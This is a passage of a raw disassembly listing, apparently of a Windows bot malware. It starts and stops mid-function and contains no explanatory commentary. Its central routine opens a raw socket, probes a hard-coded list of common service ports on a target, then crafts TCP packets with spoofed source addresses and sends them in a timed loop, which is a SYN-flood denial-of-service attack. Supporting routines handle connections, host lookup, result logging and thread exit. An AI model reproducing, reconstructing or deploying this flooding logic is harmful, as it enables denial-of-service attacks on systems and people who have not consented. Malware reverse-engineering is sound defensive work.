		mov	ebx, eax
		lea	eax, [ebp+arg_104]
		push	eax
		call	sub_41C159
		cmp	ebx, eax
		pop	ecx
		jbe	loc_415402


loc_41558E:				; CODE XREF: sub_4152D1+124j
		push	[ebp+var_C]
		call	dword_4CBA7C	; closesocket
		mov	esi, [ebp+var_4]
		lea	eax, [ebp+arg_104]
		push	eax
		imul	esi, 41Ch
		call	sub_41C159
		pop	ecx
		xor	edx, edx
		mov	ecx, eax
		mov	eax, esi
		shr	eax, 0Ah
		div	ecx
		shr	esi, 14h
		push	eax
		push	esi
		push	[ebp+var_4]
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_437D60


loc_4155C9:				; CODE XREF: sub_4152D1+34Aj
		lea	eax, [ebp+var_254]
		push	eax
		call	sub_41C266
		add	esp, 18h


loc_4155D8:				; CODE XREF: sub_4152D1+39j
					; sub_4152D1+94j
		cmp	[ebp+arg_20C], edi
		jnz	short loc_415600
		push	edi
		lea	eax, [ebp+var_254]
		push	[ebp+arg_208]
		push	eax
		lea	eax, [ebp+arg_184]
		push	eax
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415600:				; CODE XREF: sub_4152D1+30Dj
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_415607:				; CODE XREF: sub_4152D1+28Bj
		push	[ebp+var_4]
		push	esi
		call	dword_4CB978	; WSAGetLastError
		push	eax
		lea	eax, [ebp+arg_4]
		push	eax
		push	offset unk_437CD4
		jmp	short loc_4155C9
sub_4152D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41561D	proc near		; DATA XREF: sub_401ACD+6283o

var_414		= byte ptr -414h
var_214		= dword	ptr -214h
var_210		= byte ptr -210h
var_190		= byte ptr -190h
var_110		= byte ptr -110h
var_90		= byte ptr -90h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 414h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		mov	ecx, 85h
		mov	esi, eax
		lea	edi, [ebp+var_214]
		rep movsd
		mov	dword ptr [eax+210h], 1
		lea	eax, [ebp+var_110]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_190]
		push	eax
		call	sub_41C159
		pop	ecx
		push	eax
		lea	eax, [ebp+var_210]
		push	eax
		call	dword_4CBA24	; inet_addr
		push	eax
		call	sub_4157BA
		add	esp, 0Ch
		push	eax
		lea	eax, [ebp+var_414]
		push	offset unk_437EB0
		push	eax
		call	sub_41C266
		xor	esi, esi
		add	esp, 0Ch
		cmp	[ebp+var_8], esi
		jnz	short loc_4156B2
		push	esi
		lea	eax, [ebp+var_414]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_90]
		push	eax
		push	[ebp+var_214]
		call	sub_409869
		add	esp, 14h


loc_4156B2:				; CODE XREF: sub_41561D+73j
		lea	eax, [ebp+var_414]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_41561D	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4156D1	proc near		; CODE XREF: sub_4157BA+194p

var_210		= dword	ptr -210h
var_20C		= dword	ptr -20Ch
var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 210h
		and	[ebp+var_4], 0
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		jnz	short loc_4156FA
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	dword_4271F8	; connect
		jmp	loc_4157B6
; ---------------------------------------------------------------------------


loc_4156FA:				; CODE XREF: sub_4156D1+13j
		mov	esi, [ebp+arg_0]
		push	1
		pop	edi
		lea	eax, [ebp+var_8]
		push	eax
		push	8004667Eh
		push	esi
		mov	[ebp+var_8], edi
		call	dword_4271E0	; ioctlsocket
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	esi
		call	dword_4CB98C	; connect
		push	[ebp+arg_C]
		lea	eax, [ebp+var_210]
		mov	[ebp+var_108], esi
		mov	[ebp+var_10C], edi
		push	0
		push	eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_20C], esi
		push	eax
		lea	eax, [esi+1]
		push	eax
		mov	[ebp+var_210], edi
		call	dword_4CB9CC	; select
		test	eax, eax
		jnz	short loc_41575E
		or	eax, 0FFFFFFFFh
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_41575E:				; CODE XREF: sub_4156D1+86j
		or	edi, 0FFFFFFFFh
		cmp	eax, edi
		jnz	short loc_415769


loc_415765:				; CODE XREF: sub_4156D1+B8j
					; sub_4156D1+DCj
		mov	eax, edi
		jmp	short loc_4157B6
; ---------------------------------------------------------------------------


loc_415769:				; CODE XREF: sub_4156D1+92j
		lea	eax, [ebp+var_10C]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jnz	short loc_41578B
		lea	eax, [ebp+var_210]
		push	eax
		push	esi
		call	sub_426350	; __WSAFDIsSet
		test	eax, eax
		jz	short loc_415765


loc_41578B:				; CODE XREF: sub_4156D1+A7j
		lea	eax, [ebp+arg_0]
		mov	[ebp+arg_0], 4
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1007h
		push	0FFFFh
		push	esi
		call	dword_4271C8	; getsockopt
		cmp	eax, edi
		jz	short loc_415765
		mov	eax, [ebp+var_4]
		neg	eax
		sbb	eax, eax


loc_4157B6:				; CODE XREF: sub_4156D1+24j
					; sub_4156D1+8Bj ...
		pop	edi
		pop	esi
		leave
		retn
sub_4156D1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157BA	proc near		; CODE XREF: sub_41561D+51p

var_10C		= dword	ptr -10Ch
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_9C		= word ptr -9Ch
var_9A		= word ptr -9Ah
var_98		= dword	ptr -98h
var_8C		= dword	ptr -8Ch
var_88		= dword	ptr -88h
var_84		= dword	ptr -84h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_78		= dword	ptr -78h
var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 10Ch
		push	ebx
		push	esi
		push	edi
		push	1
		pop	eax
		xor	ebx, ebx
		push	eax
		push	ebx
		push	ebx
		push	0FFh
		push	3
		push	2
		mov	[ebp+var_14], eax
		call	dword_4271C4	; WSASocketA
		lea	ecx, [ebp+var_14]
		push	4
		push	ecx
		push	2
		push	ebx
		push	eax
		mov	dword_4CF200, eax
		call	dword_4CB9C4	; setsockopt
		mov	esi, dword_4270B0
		call	esi	; GetTickCount
		push	eax
		call	sub_41C2B8
		pop	ecx
		xor	eax, eax
		push	19h
		lea	edi, [ebp+var_100]
		pop	ecx
		mov	[ebp+var_10C], ebx
		mov	[ebp+var_7C], ecx
		mov	[ebp+var_108], ebx
		mov	[ebp+var_104], ebx
		mov	[ebp+var_8C], 401h
		mov	[ebp+var_88], 15h
		mov	[ebp+var_84], 16h
		mov	[ebp+var_80], 17h
		mov	[ebp+var_78], 35h
		mov	[ebp+var_74], 50h
		mov	[ebp+var_70], 51h
		mov	[ebp+var_6C], 58h
		mov	[ebp+var_68], 6Eh
		mov	[ebp+var_64], 71h
		mov	[ebp+var_60], 77h
		mov	[ebp+var_5C], 87h
		mov	[ebp+var_58], 89h
		mov	[ebp+var_54], 8Bh
		mov	[ebp+var_50], 8Fh
		mov	[ebp+var_4C], 1BBh
		mov	[ebp+var_48], 1BDh
		mov	[ebp+var_44], 400h
		mov	[ebp+var_40], 599h
		mov	[ebp+var_3C], 5DCh
		mov	[ebp+var_38], 6B8h
		mov	[ebp+var_34], 0CEAh
		mov	[ebp+var_30], 0D3Dh
		mov	[ebp+var_2C], 1388h
		mov	[ebp+var_28], 1A0Bh
		mov	[ebp+var_24], 1F40h
		mov	[ebp+var_20], 1F90h
		rep stosd
		mov	[ebp+var_10], ebx
		mov	[ebp+var_1C], 3
		mov	[ebp+var_18], 0BB8h
		mov	[ebp+var_4], ebx


loc_415900:				; CODE XREF: sub_4157BA+1C1j
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_9C], 2
		mov	[ebp+var_98], eax
		mov	eax, [ebp+var_4]
		lea	edi, [ebp+eax+var_8C]
		mov	ax, word ptr [ebp+eax+var_8C]
		push	eax
		call	dword_4CB9E4	; htons
		push	ebx
		push	1
		push	2
		mov	[ebp+var_9A], ax
		call	dword_4CBA64	; socket
		lea	ecx, [ebp+var_1C]
		mov	[ebp+var_C], eax
		push	ecx
		lea	ecx, [ebp+var_9C]
		push	10h
		push	ecx
		push	eax
		call	sub_4156D1
		add	esp, 10h
		mov	[ebp+var_8], eax
		push	[ebp+var_C]
		call	dword_4CBA7C	; closesocket
		cmp	[ebp+var_8], ebx
		jnz	short loc_415973
		mov	ecx, [ebp+var_4]
		mov	eax, [edi]
		mov	[ebp+ecx+var_10C], eax


loc_415973:				; CODE XREF: sub_4157BA+1ABj
		add	[ebp+var_4], 4
		cmp	[ebp+var_4], 70h
		jl	short loc_415900
		mov	edi, offset dword_4CF204
		push	offset asc_42CDC8 ; " "
		push	edi
		call	sub_41C266
		pop	ecx
		pop	ecx
		call	esi	; GetTickCount
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10C]
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], eax


loc_4159A0:				; CODE XREF: sub_4157BA+23Cj
		call	esi	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_4159F8
		mov	eax, [ebp+var_8]
		mov	eax, [eax]
		cmp	eax, ebx
		jz	short loc_4159D1
		push	eax
		push	edi
		push	offset aSD	; "%s%d	"
		push	edi
		mov	[ebp+var_10], eax
		call	sub_41C266
		add	esp, 10h
		jmp	short loc_4159EB
; ---------------------------------------------------------------------------


loc_4159D1:				; CODE XREF: sub_4157BA+200j
		push	0FFFFh
		push	ebx
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9E4	; htons
		movzx	eax, ax
		mov	[ebp+var_10], eax


loc_4159EB:				; CODE XREF: sub_4157BA+215j
		inc	[ebp+var_4]
		add	[ebp+var_8], 4
		cmp	[ebp+var_4], 1Ch
		jl	short loc_4159A0


loc_4159F8:				; CODE XREF: sub_4157BA+1F7j
					; sub_4157BA+477j
		push	28h
		push	ebx
		push	offset byte_4CF1A0
		call	sub_41BF70
		mov	esi, 0FFFFh
		mov	byte_4CF1A0, 45h
		push	esi
		push	400h
		mov	byte_4CF1A9, 6
		mov	byte_4CF1A1, 8
		call	sub_418BD1
		add	esp, 14h
		push	eax
		call	dword_4CB9E4	; htons
		push	28h
		mov	word_4CF1A4, ax
		call	dword_4CB9E4	; htons
		or	byte_4CF1A8, 0FFh
		cmp	dword_4CF190, ebx
		mov	word_4CF1A2, ax
		mov	word_4CF1A6, bx
		jnz	short loc_415A78
		push	0FFFEh
		push	1
		call	sub_418BD1
		pop	ecx
		pop	ecx
		mov	ecx, [ebp+arg_0]
		shl	eax, 10h
		and	ecx, esi
		or	eax, ecx
		jmp	short loc_415A83
; ---------------------------------------------------------------------------


loc_415A78:				; CODE XREF: sub_4157BA+2A2j
		push	offset dword_4CEB70
		call	dword_4CBA24	; inet_addr


loc_415A83:				; CODE XREF: sub_4157BA+2BCj
		mov	dword_4CF1AC, eax
		mov	eax, [ebp+arg_0]
		push	4000h
		mov	dword_4CF1B0, eax
		mov	byte_4CF1C1, bl
		call	dword_4CB9E4	; htons
		push	esi
		push	ebx
		mov	word_4CF1C2, ax
		call	sub_418BD1
		mov	edi, eax
		push	esi
		push	ebx
		shl	edi, 8
		call	sub_418BD1
		add	esp, 10h
		add	edi, eax
		push	edi
		call	dword_4CB9E0	; htonl
		mov	dword_4CF1B8, eax
		mov	al, byte_4CF1C0
		mov	edi, [ebp+arg_0]
		and	al, 0Fh
		or	al, 50h
		push	14h
		mov	byte_4CF1C0, al
		mov	ax, word ptr [ebp+var_10]
		mov	dword_4CF1BC, ebx
		mov	word_4CF1C6, bx
		mov	word_4CF1B6, ax
		mov	dword_4CF1DC, edi
		mov	byte_4CF1E0, bl
		mov	byte_4CF1E1, 6
		call	dword_4CB9E4	; htons
		mov	word_4CF1E2, ax
		mov	ax, word_4CF1B6
		mov	word_4CF1C8, 2
		mov	dword_4CF1CC, edi
		mov	word_4CF1CA, ax
		mov	[ebp+var_4], ebx
		jmp	short loc_415B39
; ---------------------------------------------------------------------------


loc_415B34:				; CODE XREF: sub_4157BA+451j
		mov	esi, 0FFFFh


loc_415B39:				; CODE XREF: sub_4157BA+378j
		cmp	[ebp+var_4], ebx
		jnz	short loc_415B6D
		push	esi
		push	ebx
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9E4	; htons
		mov	word_4CF1B4, ax
		mov	eax, dword_4CF1AC
		mov	dword_4CF1D8, eax
		mov	byte_4CF1C1, 2
		mov	dword_4CF1BC, ebx
		jmp	short loc_415B8C
; ---------------------------------------------------------------------------


loc_415B6D:				; CODE XREF: sub_4157BA+382j
		push	esi
		push	ebx
		mov	byte_4CF1C1, 10h
		call	sub_418BD1
		pop	ecx
		pop	ecx
		push	eax
		call	dword_4CB9E4	; htons
		movzx	eax, ax
		mov	dword_4CF1BC, eax


loc_415B8C:				; CODE XREF: sub_4157BA+3B1j
		inc	word_4CF1A4
		inc	dword_4CF1B8
		mov	ax, word_4CF1B6
		push	5
		pop	ecx
		mov	esi, offset word_4CF1B4
		mov	edi, offset dword_4CF1E4
		mov	word_4CF1AA, bx
		mov	word_4CF1C4, bx
		push	14h
		rep movsd
		mov	esi, offset byte_4CF1A0
		mov	word_4CF1CA, ax
		push	esi
		call	sub_40AA5F
		push	20h
		push	offset dword_4CF1D8
		mov	word_4CF1AA, ax
		call	sub_40AA5F
		add	esp, 10h
		mov	word_4CF1C4, ax
		push	10h
		push	offset word_4CF1C8
		push	ebx
		push	28h
		push	esi
		push	dword_4CF200
		call	dword_4CBA48	; sendto
		inc	[ebp+var_4]
		cmp	[ebp+var_4], 3FFh
		jl	loc_415B34
		call	dword_4270B0	; GetTickCount
		sub	eax, [ebp+var_C]
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		cmp	eax, [ebp+arg_4]
		ja	short loc_415C36
		push	[ebp+arg_8]
		call	dword_427080	; Sleep
		jmp	loc_4159F8
; ---------------------------------------------------------------------------


loc_415C36:				; CODE XREF: sub_4157BA+46Cj
		pop	edi
		pop	esi
		mov	eax, offset dword_4CF204
		pop	ebx
		leave
		retn
sub_4157BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415C40	proc near		; CODE XREF: sub_401ACD+7111p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		and	[ebp+var_4], 0
		push	esi
		push	edi
		mov	esi, offset dword_43DBA0
		mov	edi, 0B8h


loc_415C54:				; CODE XREF: sub_415C40+33j
		cmp	byte ptr [esi],	0
		jz	short loc_415C77
		push	[ebp+arg_0]
		push	esi
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415C77
		inc	[ebp+var_4]
		add	esi, edi
		cmp	esi, offset dword_43E720
		jl	short loc_415C54
		jmp	short loc_415CB9
; ---------------------------------------------------------------------------


loc_415C77:				; CODE XREF: sub_415C40+17j
					; sub_415C40+26j
		mov	esi, [ebp+var_4]
		push	ebx
		imul	esi, 0B8h
		push	edi
		push	0
		lea	ebx, dword_43DBA0[esi]
		push	ebx
		call	sub_41BF70
		push	17h
		push	[ebp+arg_0]
		push	ebx
		call	sub_41BFD0
		push	9Fh
		lea	eax, dword_43DBB8[esi]
		push	[ebp+arg_4]
		push	eax
		call	sub_41BFD0
		add	esp, 24h
		inc	dword_4294D4
		pop	ebx


loc_415CB9:				; CODE XREF: sub_415C40+35j
		mov	eax, [ebp+var_4]
		pop	edi
		pop	esi
		leave
		retn
sub_415C40	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415CC0	proc near		; CODE XREF: sub_401ACD+289Ap

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		push	esi
		push	edi
		push	0
		push	[ebp+arg_8]
		push	offset dword_437EF8
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 14h
		xor	edi, edi
		mov	esi, offset dword_43DBA0


loc_415CEA:				; CODE XREF: sub_415CC0+72j
		cmp	byte ptr [esi],	0
		jz	short loc_415D25
		lea	eax, [esi+18h]
		push	eax
		push	esi
		push	edi
		push	offset dword_437EE4
		lea	eax, [ebp+var_200]
		push	200h
		push	eax
		call	sub_41C360
		push	1
		lea	eax, [ebp+var_200]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409869
		add	esp, 2Ch


loc_415D25:				; CODE XREF: sub_415CC0+2Dj
		add	esi, 0B8h
		inc	edi
		cmp	esi, offset dword_43E720
		jl	short loc_415CEA
		pop	edi
		pop	esi
		leave
		retn
sub_415CC0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415D38	proc near		; CODE XREF: sub_401221+384p
					; sub_401221+408p ...

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	ebx
		push	esi
		lea	eax, [ebp+var_10]
		push	edi
		push	eax
		call	dword_427140	; GetLocalTime
		mov	ebx, offset dword_4D3604
		mov	edi, 80h
		mov	esi, offset dword_4CF604


loc_415D5A:				; CODE XREF: sub_415D38+3Dj
		cmp	byte ptr [ebx],	0
		jz	short loc_415D71
		push	7Fh
		lea	eax, [ebx+80h]
		push	ebx
		push	eax
		call	sub_41BFD0
		add	esp, 0Ch


loc_415D71:				; CODE XREF: sub_415D38+25j
		sub	ebx, edi
		cmp	ebx, esi
		jge	short loc_415D5A
		movzx	eax, [ebp+var_4]
		push	[ebp+arg_0]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		push	offset a_2d_2d4d_2d_2d ; "[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s"
		push	edi
		push	esi
		call	sub_41C360
		add	esp, 28h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_415D38	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415DAC	proc near		; CODE XREF: sub_4017ED+F7p
					; sub_401ACD:loc_408967p ...

var_80		= byte ptr -80h
arg_0		= dword	ptr  8
arg_4		= byte ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 80h
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_80]
		push	[ebp+arg_0]
		push	80h
		push	eax
		call	sub_41CB70
		lea	eax, [ebp+var_80]
		push	eax
		call	sub_415D38
		add	esp, 14h
		leave
		retn
sub_415DAC	endp


; =============== S U B	R O U T	I N E =======================================



sub_415DD8	proc near		; CODE XREF: sub_401ACD+278Ep

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, offset dword_4CF604
		xor	ecx, ecx


loc_415DDF:				; CODE XREF: sub_415DD8+13j
		mov	[eax], cl
		add	eax, 80h
		cmp	eax, offset dword_4D3604
		jl	short loc_415DDF
		cmp	[esp+arg_C], ecx
		jnz	short loc_415E0D
		push	ecx
		push	[esp+4+arg_8]
		push	offset dword_437F44
		push	[esp+0Ch+arg_4]
		push	[esp+10h+arg_0]
		call	sub_409869
		add	esp, 14h


loc_415E0D:				; CODE XREF: sub_415DD8+19j
		push	offset dword_437F30
		call	sub_415D38
		pop	ecx
		retn
sub_415DD8	endp


; =============== S U B	R O U T	I N E =======================================



sub_415E19	proc near		; CODE XREF: .packed:0040E1FFp

arg_0		= dword	ptr  4

		push	esi
		mov	esi, offset dword_4CF604


loc_415E1F:				; CODE XREF: sub_415E19+27j
		cmp	byte ptr [esi],	0
		jz	short loc_415E34
		push	[esp+4+arg_0]
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_415E46


loc_415E34:				; CODE XREF: sub_415E19+9j
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415E1F
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_415E46:				; CODE XREF: sub_415E19+19j
		push	1
		pop	eax
		pop	esi
		retn
sub_415E19	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415E4B	proc near		; DATA XREF: sub_401ACD+2844o

var_31C		= byte ptr -31Ch
var_11C		= dword	ptr -11Ch
var_118		= byte ptr -118h
var_98		= byte ptr -98h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 31Ch
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	45h
		pop	ecx
		mov	esi, eax
		lea	edi, [ebp+var_11C]
		push	1
		rep movsd
		xor	edx, edx
		pop	edi
		cmp	[ebp+var_10], edx
		mov	[ebp+var_8], 80h
		mov	[ebp+var_4], edx
		mov	[eax+110h], edi
		jnz	short loc_415E9E
		push	edx
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	offset dword_437F74
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415E9E:				; CODE XREF: sub_415E4B+33j
		cmp	[ebp+var_98], 0
		jz	short loc_415EBE
		lea	eax, [ebp+var_98]
		push	eax
		call	sub_41C159
		test	eax, eax
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415EBE
		mov	[ebp+var_8], eax


loc_415EBE:				; CODE XREF: sub_415E4B+5Aj
					; sub_415E4B+6Ej
		and	[ebp+arg_0], 0
		mov	esi, offset dword_4CF604


loc_415EC7:				; CODE XREF: sub_415E4B+D4j
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_8]
		jge	short loc_415F21
		cmp	byte ptr [esi],	0
		jz	short loc_415F10
		cmp	[ebp+var_98], 0
		jz	short loc_415EF6
		cmp	[ebp+var_4], 0
		jnz	short loc_415EF6
		lea	eax, [ebp+var_98]
		push	eax
		push	esi
		call	sub_4185D3
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415F10


loc_415EF6:				; CODE XREF: sub_415E4B+90j
					; sub_415E4B+96j
		push	edi
		lea	eax, [ebp+var_118]
		push	[ebp+var_14]
		push	esi
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415F10:				; CODE XREF: sub_415E4B+87j
					; sub_415E4B+A9j
		inc	[ebp+arg_0]
		add	esi, 80h
		cmp	esi, offset dword_4D3604
		jl	short loc_415EC7


loc_415F21:				; CODE XREF: sub_415E4B+82j
		lea	eax, [ebp+var_31C]
		push	offset dword_437F58
		push	eax
		call	sub_41C266
		xor	esi, esi
		pop	ecx
		cmp	[ebp+var_10], esi
		pop	ecx
		jnz	short loc_415F5B
		push	esi
		lea	eax, [ebp+var_31C]
		push	[ebp+var_14]
		push	eax
		lea	eax, [ebp+var_118]
		push	eax
		push	[ebp+var_11C]
		call	sub_409869
		add	esp, 14h


loc_415F5B:				; CODE XREF: sub_415E4B+EEj
		lea	eax, [ebp+var_31C]
		push	eax
		call	sub_415D38
		push	[ebp+var_18]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread
		pop	edi
		pop	esi
sub_415E4B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415F7A	proc near		; CODE XREF: sub_416000+33p
					; sub_416563+BCp

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CBA64	; socket
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415FF6
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41BF70
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB9E4	; htons
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CBA24	; inet_addr
		cmp	eax, esi
		jnz	short loc_415FDB
		push	[ebp+arg_0]
		call	dword_4CBA68	; gethostbyname
		test	eax, eax
		jz	short loc_415FF6
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415FDB:				; CODE XREF: sub_415F7A+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB98C	; connect
		cmp	eax, esi
		jnz	short loc_415FFA
		push	edi
		call	dword_4CBA7C	; closesocket


loc_415FF6:				; CODE XREF: sub_415F7A+1Bj
					; sub_415F7A+58j
		mov	eax, esi
		jmp	short loc_415FFC
; ---------------------------------------------------------------------------


loc_415FFA:				; CODE XREF: sub_415F7A+73j
		mov	eax, edi


loc_415FFC:				; CODE XREF: sub_415F7A+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415F7A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_416000	proc near		; DATA XREF: sub_401ACD+A02o

var_11B4	= byte ptr -11B4h
var_1B4		= byte ptr -1B4h
var_1AC		= byte ptr -1ACh
var_94		= byte ptr -94h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		mov	eax, 11B4h
		call	sub_41C500
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_1B4]
		rep movsd
		push	1
		pop	esi
		push	[ebp+var_14]
		mov	[eax+1B0h], esi
		lea	eax, [ebp+var_1AC]
		push	eax
		call	sub_415F7A
		mov	ebx, eax
		pop	ecx
		cmp	ebx, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_416093
		lea	eax, [ebp+var_11B4]
		push	offset unk_437FF4
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_416076
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_416076:				; CODE XREF: sub_416000+59j
		lea	eax, [ebp+var_11B4]
		push	eax
		call	sub_415D38
		push	[ebp+var_10]
		call	sub_40B6D6
		pop	ecx
		pop	ecx
		push	esi
		call	dword_4270D4	; ExitThread


loc_416093:				; CODE XREF: sub_416000+3Fj
		push	offset byte_43DB98
		push	ebx
		call	sub_41A1B1
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jnz	short loc_4160FE
		lea	eax, [ebp+var_11B4]
		push	offset unk_437FC4
		push	eax
		call	sub_41C266
		xor	edi, edi
		pop	ecx
		cmp	[ebp+var_8], edi
		pop	ecx
		jnz	short loc_4160DA
		push	edi
		lea	eax, [ebp+var_11B4]
		push	[ebp+var_C]
		push	eax
		lea	eax, [ebp+var_94]
		push	eax
		push	ebx
		call	sub_409869
		add	esp, 14h


loc_4160DA:				; CODE XREF: sub_416000+BDj
		lea	eax, [ebp+var_11B4]
		push	eax
